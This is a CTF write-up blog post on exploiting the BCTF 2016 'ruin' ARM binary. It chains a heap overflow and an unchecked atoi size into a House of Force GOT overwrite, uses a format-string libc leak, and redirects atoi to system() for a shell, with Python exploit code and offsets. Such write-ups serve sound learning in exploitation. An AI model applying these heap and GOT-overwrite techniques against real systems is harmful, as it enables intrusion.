BCTF 2016 - Ruin


• Posted by hugsy on March 21, 2016
• exploit • gef • bctf-2016 • arm • heap-overflow • format-string

This is an ARM 32b exploitation challenge part of the BCTF competition, which I’ve enjoyed playing with the team TheGoonies. During the competition, only 18 teams (out of the 500+) were able to solve it. All props to them!

The technique I used to solve it is a bit twisted but it works fine and reliably. So hang on ☺

Info

The vulnerable file is here.

gef➤  !file ruin.7b694dc96bf316a40ff7163479850f78
ruin.7b694dc96bf316a40ff7163479850f78: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.26, BuildID[sha1]=072b955ca434ca0c1df6507144d4a2c4cdc9078e, stripped
gef➤  checksec ruin.7b694dc96bf316a40ff7163479850f78
[+] checksec for 'ruin.7b694dc96bf316a40ff7163479850f78'
Canary:                                           Yes
NX Support:                                       Yes
PIE Support:                                      No
RPATH:                                            No
RUNPATH:                                          No
Partial RelRO:                                    No
Full RelRO:                                       No

Since the target is an ARM binary, I heavily relied on the tool I wrote, GDB-GEF to help me in the exploitation process.

Vulnerability

ruin is an ARM ELF binary that allows you to store “securely” messages in memory, acting like a safe.

The real main() function starts at 0x00008A88 and starts by allocating on the heap (malloc()) an 8-byte chunk, then jump to a function at 0x89CC (which I’ve called get_key_security) to authenticate and unlock the safe. get-key-security

The strncmp() call trivially shows the expected initial key, in this case security. Once the safe is unlocked, 4 different operations are possible:

  1. Update the key (function @0x000087D0, which I will call update_key() in the rest of this write-up): this function will allocate a 16-byte key chunk, and copy the content from stdin.
  2. Edit a secret stored (function @0x0000884C, which I will call edit_secret()): if the secret chunk is not allocated, then the function invokes malloc(8). Then it performs an fgets() to store 24 bytes from stdin (us!) into this buffer. We immediately spot a heap overflow here. heap-ovf
  3. Sign the secret with your name (function @0x000088B8, sign_name()): if the name chunk is not NULL (i.e. already allocated), then the function returns. Otherwise, it calls the read_int() function at 0x0875C which prompts the user for the name size with atoi(), checks it’s higher than 0x20 bytes, if so, malloc(size) and reads its contents from stdin using fgets().
.text:0000875C        read_int                                ; CODE XREF: sign_name+34
.text:0000875C result          = -0x2C
.text:0000875C buffer          = -0x28
.text:0000875C canary          = -8
.text:0000875C
[...]
.text:00008774                 LDR     R3, =stdin
.text:00008778                 LDR     R3, [R3]
.text:0000877C                 SUB     R2, R11, #-buffer
.text:00008780                 MOV     R0, R2          ; s
.text:00008784                 MOV     R1, #32         ; n
.text:00008788                 MOV     R2, R3          ; stream
.text:0000878C                 BL      fgets
.text:00008790                 SUB     R3, R11, #-buffer
.text:00008794                 MOV     R0, R3          ; nptr
.text:00008798                 BL      atoi
.text:0000879C                 STR     R0, [R11,#result]
  1. Leave (function @0x00008978, leave()): invokes free() to de-allocate the 3 buffers allocated by the steps above, and then exit cleanly.

We have 2 vulnerabilities here:

  • The heap overflow explained in the edit_secret() function
  • The integer overflow from the sign_name() function, since the atoi() call is not checked for negative integer before being compared. This allows us to control the size of the next malloc() call (the one used to store the name).

Exploitation

The House of Force

With those 2 vulnerabilities, and the fact that we can control another chunk to be allocated (through the update_key() function), we have now a perfect scenario for an “House of Force” heap exploitation. If you need a reminder, I recommend you read this and this.

The idea behind this attack (which still works against recent libc heap allocator), is to be able to control the size of one chunk. By making the value of the size for this new chunk very big, it will allow us to overflow the address space, and make the chunk upper bound finish in an “interesting” writable location, for example, the Global Offset Table.

When we reach the “main” loop, the secret chunk (8 bytes) is already allocated. So we can use the malloc(name_size) to create a chunk that will overflow the address space and end in the GOT, which starts at 0x00010F48.

                    0xffffffff   .            .
                                 .            .
                                 |     ^      |
                                 |     |      |
                                 |     |      |
                                 +--  name ---+  <- We can control the size of the
                                 |     |      |     malloc() call for allocating the
                                 |     |      |     name.
                                 |            |
                                 +------------+
                                 |            |
                                 |   secret   |  <- Heap overflow: we can overwrite the
                                 +------------+     next chunk header (i.e. the name
                                 |            |     chunk)
                 heap start <--- +------------+
                                 |            |
                                 .            .
                                 .            .
                                 +------------+
                                 |            |
                                 | printf@got |
                                 | exit@got   |
                                 | puts@got   | <- Target we want overridden
                                 | free@got   |    so we make malloc(name_length)
                    GOT start <--+------------+    finish at @target - 8 (8 bytes for
                                 |            |    header). The next malloc(key) will
                                 |            |    overwrite the GOT with controlled
                                 |            |    data.
                     0x00000000  .            .

So what size do we need for the name chunk? We know that the key chunk can write 16 bytes, so 4 DWORD. And also, the target address must be aligned to 2 DWORD (8 bytes - because it is an ARM 32 bits).

got

Leaking heap memory

But we have a problem, we don’t know where the heap pages are located in the memory layout. Lucky for us, the “authentication” function (get_key_security()) uses fread(), which unlike fgets() does not append a NULL byte at the end of the string.

auth-func

This allows to leak addresses some precious bytes from the heap, doing something like this:

def auth(s):
    s.read_until("please input your 8-bit key:")
    s.write("A"*8)
    leak = s.read_until("\n")
    leak = leak.replace(" is wrong, try again!\n", '')
    leak = leak.replace('A'*8, '')
    if len(leak)<4: leak += "\x00"*(4-len(leak))
    leak = i_u(leak)
    s.read_until("please input your 8-bit key:")
    s.write("security")
    return leak

Controlling $pc

From the heap memory leak, we know the address of the secret chunk, which means that the name chunk headers will be located exactly 8 bytes after.

     +----------+-----------+...+----------+
     |  secret  |  name     |   | key      |
     +----------+-----------+...+----------+

So we must set the length for the name chunk dynamically by using the update_key() function:

ATOI_GOT   = 0x00010F80 - 2*8
[...]
def sign_name(s, addr):
    select_menu_entry(s, 3)
    new_sz = -addr + ATOI_GOT
    name = "JUNK"*8
    ok("malloc(name) with size=%#x" % new_sz)
    s.read_until("please input your name length:")
    s.write("%d\n" % new_sz)
    s.read_until("enter your name:")
    s.write(name)
    return

secret_addr    = leak - 8
name_addr      = secret_addr + 8 + 8

sign_name(s, name_addr)

The heap is now set dynamically with the correct offset. The next call to malloc() will overwrite the GOT entry of atoi@got with our data!

def update_key(s):
    ok("malloc(key)")
    select_menu_entry(s, 1)
    key = ""
    key+= "\xbb"*4              # atoi@got will be overwritten with this value
    key+= "B"*4 + "C"*4 + "D"*4
    s.read_until("enter the new 16-bit key:")
    s.write(key)
    s.read_until("the key is updated!")
    return

def leave(s):
    ok("Leaving - and triggering atoi@got")
    select_menu_entry(s, 4)
    return

Which produces the following result in gef: control-pc

Bingo! We control the execution flow! Good! But now where do we go?

The binary is dynamically linked, and does not contains any gadget that would allow us to call directly execve so we need a leak from the libc.

Using function indirection to leak memory using printf

I’m not sure if this is the best way to do, but I like this approach: the idea is that, when you can overwrite the GOT, point an “interesting” function of the control flow to printf@plt. This way, if you can control the parameter of this call, you can use a regular format string attack to read/write everywhere!!

The read_int() (at 0x875c) offers a perfect exploitation case: read-int-ida

fgets at 0x878c allows us to provide 32 bytes in the stack, which will be given to atoi as a parameter. So if we overwrite atoi@got with the address of printf@plt, we have a good case for a format string attack.

So using the technique above, we can overwrite atoi@got with the address of printf in the PLT:

.plt:00008594 ; int printf(const char *format, ...)
.plt:00008594 printf                                  ; CODE XREF: print_banner+58
.plt:00008594                                         ; update_key+38 ...
.plt:00008594                 ADR     R12, 0x859C
.plt:00008598                 ADD     R12, R12, #0x8000
.plt:0000859C                 LDR     PC, [R12,#(printf_ptr - 0x1059C)]! ; __imp_printf
    update_key(s, PRINTF_IMPORT, False)
    ok("atoi@got: %#x -> %#x" % (ATOI_GOT, PRINTF_IMPORT))

So now every time the control flow will hit the atoi() function, the printf() stub will be executed, and we will receive the argument from the socket! So every time the banner will prompt for a choice (1-4), the buffer we send will be the argument to printf().

Triggering the exploit

By leaking the memory, we find that an address to the libc can be found (at least) at the offset 21: libc-leak

On the C library I tested, the system() function was located at an offset of 0x37524 from the base. So now, we know the address of system():

    while True:
        s.write("data> %21$#.8x\n")
        leak = s.read_until("\n")
        if "data> " in leak:
            break

    libc_leak = int(leak.strip().split()[-1], 16)
    libc_base = libc_leak - 0x16d24
    libc_system = libc_base + 0x37524

    ok("Got libc_leak: %#x" % libc_leak)
    ok("Got libc_base: %#x" % libc_base)
    ok("Got libc_system: %#x" % libc_system)

And to complete the exploitation, all we must do is overwrite again atoi@got with the address of system(), and when fgets() will be triggered, simply enter the command we want to execute, in this case /bin/sh will do:

    update_key(s, libc_system, True)
    ok("atoi@got: %#x -> %#x" % (ATOI_GOT, libc_system))

    s.write("/bin/sh"+'\x00'*10)
    s.write("\n")

The exploit is complete, we can run it:

And as always, go here for the full exploit.

Peace out ✌


Share this post: